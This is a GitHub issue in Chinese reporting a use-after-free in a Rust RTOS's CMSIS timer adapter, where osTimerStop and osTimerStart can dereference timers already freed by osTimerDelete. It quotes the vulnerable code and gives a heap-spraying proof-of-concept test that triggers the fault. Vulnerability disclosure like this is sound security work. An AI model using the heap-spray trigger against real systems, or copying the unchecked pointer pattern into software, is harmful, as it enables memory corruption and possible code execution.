Skip to content

[内存安全]osTimerStop()、osTimerStart()函数可能导致UAF(释放后使用)问题 #295

@xbadou

Description

@xbadou

上下文信息

  • 文件路径: adapter\cmsis\src\os1\timer.rs

  • 行号: 95

  • 所属函数: osTimerStop

  • 其它相关函数:osTimerStart函数也可以触发本问题,另外os2\timer.rs中存在相同问题

漏洞详情

这个问题的核心在于 Rust 的 Arc 智能指针与 C 风格的原始指针(Raw Pointer)之间的转换管理不当,以及 CMSIS-RTOS API 的设计本身允许用户持有悬空指针。

根本原因:

  1. 所有权转移与释放
  • osTimerCreate 使用 Arc::into_raw(timer) 将 Arc 的所有权放弃,转换成原始指针 osTimerId 返回给 C 侧。此时引用计数为 1(假设没有其他地方持有)。
  • osTimerDelete 使用 Arc::from_raw(timer_id) 将原始指针重新转换回 Arc。当这个临时的 Arc 离开作用域(let _ = ... 结束)时,引用计数归零,底层的 Timer 内存被释放(Drop)。
  1. 缺乏有效性检查:
  • osTimerStop 接收 timer_id(即原始指针)。
  • 代码直接执行 unsafe { &*(timer_id as *const Timer) }。
  • 如果此前已经调用过 osTimerDelete,timer_id 指向的内存已经被回收。此时解引用该指针就是典型的 Use-After-Free,会导致未定义行为(崩溃、数据损坏或安全漏洞)。

相关代码

#[no_mangle]
pub extern "C" fn osTimerStop(timer_id: osTimerId) -> osStatus {
    if timer_id.is_null() {
        return osStatus_osErrorParameter;
    }
    let timer = unsafe { &*(timer_id as *const Timer) };  // ← 悬空指针解引用
    timer.stop();
    osStatus_osOK
}

#[no_mangle]  
pub extern "C" fn osTimerDelete(timer_id: osTimerId) -> osStatus {
    if timer_id.is_null() {
        return osStatus_osErrorParameter;
    }
    let _ = unsafe { Arc::from_raw(timer_id as *mut Timer) };  // ← 消费原始指针,释放内存
    osStatus_osOK
}

漏洞影响范围

  1. 系统崩溃:访问已释放内存通常导致段错误或系统崩溃
  2. 信息泄露:如果攻击者能够控制已释放内存的内容,可能获取敏感信息
  3. 代码执行:在某些情况下,攻击者可能通过控制内存布局实现任意代码执行

漏洞利用示例

由于默认测试基于kernel\adapter\cmsis\src\os2\timer.rs,下面的测试在该文件最后面添加测试代码

#[test]
    fn test_os_timer_uaf_vulnerability() {
        use alloc::vec::Vec;
        use alloc::vec;
        use alloc::boxed::Box;

        println!("test_os_timer_uaf_vulnerability: Start Heap Spraying...");

        const NUM_TIMERS: usize = 20;
        let mut timer_ids = Vec::with_capacity(NUM_TIMERS);
        let layout = Layout::from_size_align(mem::size_of::<ArcInner<OsTimer>>(), 8).unwrap();

        // 1. 批量创建 Timer
        for i in 0..NUM_TIMERS {
            // 每次分配新的内存给 cb_mem,确保它们分布在堆上
            let attr = osTimerAttr_t {
                attr_bits: 0,
                name: ptr::null(),
                cb_mem: unsafe { alloc(layout) as *mut core::ffi::c_void },
                cb_size: layout.size() as u32,
            };
            
            // 使用 Box 分配参数,增加堆的碎片化
            let arg = Box::into_raw(Box::new(i)) as *mut core::ffi::c_void;
            
            let timer_id = osTimerNew(
                Some(test_timer),
                osTimerType_t_osTimerOnce,
                arg,
                &attr,
            );
            assert!(!timer_id.is_null());
            timer_ids.push(timer_id);
        }

        // 2. 批量删除 Timer (制造堆空洞)
        // 我们保留 ID,但释放底层的内存
        for &id in &timer_ids {
            let res = osTimerDelete(id);
            assert_eq!(res, osStatus_t_osOK);
        }
        println!("All timers deleted.");

        // 3. 堆喷射 (Heap Spray)
        // 疯狂分配数据,试图覆盖刚才释放的 Timer 内存区域
        // 我们用 0xDD 填充,如果被当作指针解引用,通常会访问非法地址 (0xDDDDDDDD)
        let mut spray_vecs = Vec::new();
        for _ in 0..50 {
            // 分配大小接近 OsTimer 的块,增加命中率
            let size = mem::size_of::<ArcInner<OsTimer>>(); 
            let garbage: Vec<u8> = vec![0xDD; size]; 
            spray_vecs.push(garbage);
        }
        println!("Heap sprayed with garbage.");

        // 4. 触发 UAF
        // 遍历所有旧的 ID,尝试停止它们
        // 只要有一个 ID 指向的内存被上面的 garbage 覆盖了,这里就会崩溃
        let mut survived_count = 0;
        for (i, &id) in timer_ids.iter().enumerate() {
            println!("Attempting to stop deleted timer #{} (ptr: {:p})...", i, id);
            
            // !!! 危险操作 !!!
            let result = osTimerStop(id);
            
            // 如果没崩溃,打印结果
            println!("  -> Result: {:?}", result);
            if result == osStatus_t_osOK {
                survived_count += 1;
            }
        }

        println!("UAF Test Finished. Survived calls: {}/{}", survived_count, NUM_TIMERS);
        
        // 如果所有调用都返回 OK 且没崩溃,说明分配器可能有非常严格的隔离策略(如 Slab 分配器且未复用),
        // 或者运气实在太差
    }

漏洞利用截图:

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingpriority: highHigh priority issuesecurityFor security vulnerabilities, mitigations, and secure coding practices.wontfixThis will not be worked on

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions